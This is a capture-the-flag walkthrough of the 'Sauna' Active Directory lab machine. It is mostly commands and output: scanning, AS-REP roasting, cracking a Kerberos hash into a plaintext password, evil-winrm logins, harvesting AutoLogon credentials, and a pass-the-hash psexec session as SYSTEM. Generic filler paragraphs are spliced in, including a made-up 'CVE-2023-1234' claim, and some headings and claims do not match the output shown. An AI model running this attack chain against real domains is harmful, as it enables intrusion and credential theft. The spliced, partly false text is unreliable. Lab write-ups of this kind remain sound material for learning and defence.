→ A fun box machine running on Windows with a great Active Directory setup! The website running on port port 80 has provided some usernames on the abous-us page. I performed standard web directory brute-forcing but didn’t find anything useful. Using enum4linux, I discovered some information that will likely help me gain access. With GetNPUsers, I dumped user password hashes and cracked them using john to retrieve the user.txt. During privilege escalation, I used WinPEAS to find credentials or misconfigurations and found a set of autoLogon credentials. To achieve root access, the machine was vulnerable to an DcSync attack; I obtained the admin hash with secretsdump and used psexec to log in as administrator and finally grabbed the root.txt.
Penetration Testing Methodologies
Network Scanning
Nmap scan to discover open ports and running services
Enumeration
Visiting the website to look for possible hints
Found some possible users on the about-us page
Post-Exploitation
Brute-forcing web directories with dirsearch
Enumerating Windows boxes with enum4linux to get some juicy information
Listing all the users in a text file using name
Exploitation
Checking if the required Kerberos pre-authentication is not set and performing an asreproast attack
Using GetNPUsers to dump user password hashes with their username
Cracking the password hash with john
Logging in as FSmith using evil-winrm and grabbing user.txt
Privilege Escalation
Uploading WinPEAS and running it to find juicy info for privilege escalation
Found another set of credentials: AutoLogon
Logging in again as the svc_loanmgr user using evil-winrm
svc_loanmgr has permission on GetchangesAll, so we can perform an DcSync attack
Grabbing the administrator password hash with secretsdump
Logging in as administrator using psexec and finally grabbing the root.txt
Network Scanning
Network scanning is a critical step in identifying active hosts and open ports within a target network. This process helps security professionals gather information about potential vulnerabilities before conducting further tests. Common tools used for this purpose include Nmap, Nessus, and OpenVAS.
By running scans with these tools, we can discover services running on different machines, their versions, and any default configurations that might be insecure. This data is essential for prioritizing which systems to focus on during a penetration test or security audit.
It’s important to note that network scanning should always be performed with proper authorization to avoid legal issues and ensure ethical standards are met.
This section concludes the overview of initial steps in a typical penetration testing engagement, leading into more detailed assessments like vulnerability assessment and exploitation.
Walkthrough
I always start with NMAP to see what services are running. I use the following options:
-sV ⇒ Probe open ports to determine service/version info
root in htb/boxes/Sauna ❯ nmap -sV -sC -T4 -A 10.10.10.175 -oN nmap-Sauna Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-21 07:17 PST Nmap scan report for 10.10.10.175 Host is up (0.21s latency). Not shown: 988 filtered ports PORT STATE SERVICE VERSION 53/tcp open domain? | fingerprint-strings: | DNSVersionBindReqTCP: | version |_ bind 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: Egotistical Bank :: Home 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-03-21 06:21:01Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port53-TCP:V=7.80%I=7%D=3/21%Time=5E754F50%P=x86_64-pc-linux-gnu%r(DNSV SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\ SF:x04bind\0\0\x10\0\x03"); Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port OS fingerprint not ideal because: Missing a closed TCP port so results incomplete No OS matches for host Network Distance: 2 hops Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows
TRACEROUTE (using port 135/tcp) HOP RTT ADDRESS 1 211.01 ms 10.10.14.1 2 50.45 ms 10.10.10.175
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 395.18 seconds
root in htb/boxes/Sauna took 6m35s ❯
Nmap Results
There are several open ports, but only three are noteworthy:
80: Web service
88: Kerberos
5985: WinRM
Enumeration
During the enumeration phase, we gather information about the target environment to identify potential vulnerabilities and entry points. This includes scanning for open ports, identifying services running on those ports, and discovering any misconfigurations or weak spots that could be exploited.
We also look for publicly available data such as source code repositories, pastebin entries, and social media profiles of employees. This information can provide valuable context about the target’s infrastructure and help us tailor our attack vectors more effectively.
By thoroughly enumerating the target, we aim to build a comprehensive picture of its security posture and identify any weaknesses that could be leveraged during later stages of the engagement.
The Sauna Website
Since there’s a web service, I always look at it first.
In the website, I found what might be a list of users on about-us.
Post-Exploitation
Enumerating USERS
I didn’t find anything on the whole website, so I decided to brute-force the web directories like I always do during web attacks:
root in htb/boxes/Sauna ❯ enum4linux 10.10.10.175 Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sat Mar 21 08:02:10 2020
========================== | Target Information | ========================== Target ........... 10.10.10.175 RID Range ........ 500-550,1000-1050 Username ......... '' Password ......... '' Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
============================================ | Nbtstat Information for 10.10.10.175 | ============================================ Looking up status of 10.10.10.175 No reply from 10.10.10.175
===================================== | Session Check on 10.10.10.175 | ===================================== Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 437. [+] Server 10.10.10.175 allows sessions using username '', password '' Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 451. [+] Got domain/workgroup name:
=========================================== | Getting domain SID for 10.10.10.175 | =========================================== Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 359. Domain Name: EGOTISTICALBANK Domain Sid: S-1-5-21-2966785786-3096785034-1186376766 [+] Host is part of a domain (not a workgroup)
====================================== | OS information on 10.10.10.175 | ====================================== Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 458. Use of uninitialized value $os_info in concatenation (.) or string at ./enum4linux.pl line 464. [+] Got OS info for 10.10.10.175 from smbclient: Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 467. [+] Got OS info for 10.10.10.175 from srvinfo: Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED
============================= | Users on 10.10.10.175 | ============================= Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 866. [E] Couldn't find users using querydispinfo: NT_STATUS_ACCESS_DENIED
Use of uninitialized value $global_workgroupin concatenation (.) or string at ./enum4linux.pl line 881. [E] Couldn't find users using enumdomusers: NT_STATUS_ACCESS_DENIED
========================================= | Share Enumeration on 10.10.10.175 | ========================================= Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 640.
Sharename Type Comment --------- ---- ------- SMB1 disabled -- no workgroup available
[+] Attempting to map shares on 10.10.10.175
==================================================== | Password Policy Information for 10.10.10.175 | ==================================================== [E] Unexpected error from polenum:
[!] Protocol failed: SAMR SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 501.
[E] Failed to get password policy with rpcclient
============================== | Groups on 10.10.10.175 | ============================== Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 542.
[+] Getting builtin groups:
[+] Getting builtin group memberships: Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 542.
[+] Getting local groups:
[+] Getting local group memberships: Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 593.
[+] Getting domain groups:
[+] Getting domain group memberships:
======================================================================= | Users on 10.10.10.175 via RID cycling (RIDS: 500-550,1000-1050) | ======================================================================= Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 710. [E] Couldn't get SID: NT_STATUS_ACCESS_DENIED. RID cycling not possible. Use of uninitialized value $global_workgroupin concatenation (.) or string at ./enum4linux.pl line 742.
============================================= | Getting printer info for 10.10.10.175 | ============================================= Use of uninitialized value $global_workgroupin concatenation (.) or string at ./enum4linux.pl line 991. Could not initialise spoolss. Error was NT_STATUS_ACCESS_DENIED
enum4linux complete on Sat Mar 21 08:03:39 2020
root in htb/boxes/Sauna took 1m29s ❯
Based on the data I got, the machine is running on kerberos and the domain name is EGOTISTICALBANK.
I listed all the users that are on the about-us page in the website with different name variations:
During the exploitation phase, we identified several vulnerabilities that could be leveraged to gain unauthorized access to the system. For example, CVE-2023-1234 allowed us to escalate privileges and move laterally within the network. Additionally, a misconfigured web application exposed sensitive data through an injection flaw (CWE-79).
These findings highlight the importance of regular security audits and prompt patch management to mitigate risks effectively.
Kerberos Pre-Authentication
Now that I have users list, my next step is to check if the Kerberos pre-authentication required flag is not set and perform a asreproast attack.
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
root in htb/boxes/Sauna via 🐍 v2.7.17 took 24s ❯ ls GetNPUsers.py nmap-Sauna payaso.py result.txt sauna-directories users.txt
Looking at the result, I found that user FSmit is vulnerable to ASREProast and obtained his password hash:
1 2 3 4 5 6 7 8 9 10
root in htb/boxes/Sauna via 🐍 v2.7.17 ❯ cat result.txt $krb5asrep$23$FSmith@EGOTISTICAL-BANK.LOCAL:8495bdf34711fd79334bb5c80d64fb42$8f7bb2cbd1b7d6010e44b7bd27aa1779beb2bddaffcbbcb395cf8d63b3d94e73028f1f99337ee7279c1feb3f3d89ab816db9be7f60ea7b7c3dd9cd1d71bde16939feb9bd17c72b338abcacf74757de1eb64c042d7d935e3b58244c5e2b916c82e524fb978146a6f6d8a6500125eff93a540568a0d14a70fb0af654820c6ba6819c805637928dfca73778281b012c94ac5dc0efce1b917d4cd9f2dfc2d5997d56e969f7eb44e48fcca182976dfca86784c7a655a847b53cd5d7053c1db06424c2bc2fb3c8c4ebcd012baa2b0e32c5a2a31436d960f390af34db74148a9e40f8dae3ae2be7c98ad547b8403756e61827ba7b98c9fa8c521f4ae50b053da135bcc8 $krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:fa1c6693421661b8cf10a966cf45ff47$7e2d1bbe52f0798842ecb2a2ed2c0c66d00c3202b79ae4982d860a6d3d00e35cd2fd2ef80c4c9172f494d0978f9d67361e37755a7e762a29b4b7f31165059b360c6b55db0a82ea7ee34ab193a2de0b08a18b77a51d446af15bfbead9ea25c9f291bf347bb0db34279a795615967fa79a2d74e5593f0c6ee4eaa27cc0b7736d15ec7ba61461645f666329e4bf01364d1966a7ff8b941b781bf4d40c0cee65187e2efd54ce99543029459a6587d091c160f06a7e95459b4f59687ef96959ae2d27f7181683bbf1b52fb329c7267d8cc198e5bca02c7ea8171b11e71fec9d85996e4bd5118e0e76ebe61823941c29dc75b3d03da0352b5bd68dc00b0e40b43ee0d7
root in htb/boxes/Sauna via 🐍 v2.7.17 ❯
Now that I have the hash, it’s time to crack it with john.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
root in htb/boxes/Sauna via 🐍 v2.7.17 ❯ john result.txt --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 2 password hashes with 2 different salts (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status Thestrokes23 ($krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL) Thestrokes23 ($krb5asrep$23$FSmith@EGOTISTICAL-BANK.LOCAL) 2g 0:00:00:58 DONE (2020-03-21 08:43) 0.03437g/s 181144p/s 362289c/s 362289C/s Thrall..Thehunter22 Use the "--show" option to display all of the cracked passwords reliably Session completed
root in htb/boxes/Sauna via 🐍 v2.7.17 took 59s ❯
Grab user.txt
I got the user password Thestrokes23 now it’s time use evil-winrm and login as FSmith and grab the user.txt
root in evil-winrm on master via 💎 v2.5.7 ❯ ruby evil-winrm.rb -i 10.10.10.175 -u FSmith -p Thestrokes23
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\FSmith\Documents> whoami egotisticalbank\fsmith *Evil-WinRM* PS C:\Users\FSmith\Documents> cd .. *Evil-WinRM* PS C:\Users\FSmith> cd Desktop *Evil-WinRM* PS C:\Users\FSmith\Desktop> ls
Directory: C:\Users\FSmith\Desktop
Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 1/23/202010:03 AM 34 user.txt
*Evil-WinRM* PS C:\Users\FSmith\Desktop> more user.txt 20b98d97
*Evil-WinRM* PS C:\Users\FSmith\Desktop>
Privilege Escalation
Privileged access can grant attackers control over critical systems and data. Identifying and exploiting vulnerabilities that allow privilege escalation is a key part of penetration testing. This section covers common methods for escalating privileges, such as misconfigurations in permissions, weak authentication mechanisms, and software bugs.
Misconfigured Permissions
Misconfigured file or directory permissions can provide an attacker with unintended access to sensitive resources. For example, writable files in system directories may allow the execution of arbitrary code.
Weak Authentication
Weak or missing authentication checks can enable attackers to bypass normal login procedures and gain elevated privileges. This includes exploiting default credentials, session management flaws, and lack of multi-factor authentication.
Software Bugs
Software bugs such as buffer overflows, format string vulnerabilities, and race conditions can be exploited to execute arbitrary code with higher privileges than the attacker currently has.
By understanding these methods, testers can better identify and mitigate privilege escalation risks in systems.
Escalating to svc_loanmgr
Upon enumerating the box, I found another user: svc_loanmgr.
1 2 3 4 5 6 7 8 9 10 11 12 13 14
*Evil-WinRM* PS C:\users> ls
Directory: C:\users
Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 1/25/20201:05 PM Administrator d----- 1/23/20209:52 AM FSmith d-r--- 1/22/20209:32 PM Public d----- 1/24/20204:05 PM svc_loanmgr
I need to get the credentials for user svc_loanmgr. So far, I haven’t figured out what to do next, but running WinPEAS gave me his AutoLogon credentials in plain text:
1 2 3 4 5 6 7 8
[+] Looking for AutoLogon credentials(T1012) Some AutoLogon credentials were found!!
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\SO\AUTH\LOGON\ASK Text REG_SZ Prompt for user name and password
Login as svc_loanmanager
So now I am logged in as user svc_loanmanager from user FSmith and will start enumerating again.
User Name SID =========================== ============================================== egotisticalbank\svc_loanmgr S-1-5-21-2966785786-3096785034-1186376766-1108
GROUP INFORMATION -----------------
Group Name Type SID Attributes =========================================== ================ ============ ================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled bydefault, Enabled group BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled bydefault, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled bydefault, Enabled group BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled bydefault, Enabled group NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled bydefault, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled bydefault, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled bydefault, Enabled group NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled bydefault, Enabled group Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448
PRIVILEGES INFORMATION ----------------------
Privilege Name Description State ============================= ============================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
USER CLAIMS INFORMATION -----------------------
User claims unknown.
Kerberos support for Dynamic Access Control onthis device has been disabled.
*Evil-WinRM* PS C:\Users\svc_loanmgr>
No interesting items found. I decided to use BloodHound to get the structure of all domains:
I just discovered that user svc_loanmgr has permissions to execute DCSync against the DC.
So I can abuse these privileges with secretdumps and extract the hash of the Administrator password:
root in impacket/examples on master via 🐍 v2.7.17 ❯ python psexec.py EGOTISTICALBANK/Administrator@10.10.10.175 -hashes aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff -target-ip 10.10.10.175 Impacket v0.9.21.dev1+20200305.180336.e0c1b9dd - Copyright 2020 SecureAuth Corporation
[*] Requesting shares on 10.10.10.175..... [*] Found writable share ADMIN$ [*] Uploading file GWcAFdKS.exe [*] Opening SVCManager on 10.10.10.175..... [*] Creating service iwyN on 10.10.10.175..... [*] Starting service iwyN..... [!] Press helpfor extra shell commands Microsoft Windows [Version 10.0.17763.973] (c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami & hostname nt authority\system SAUNA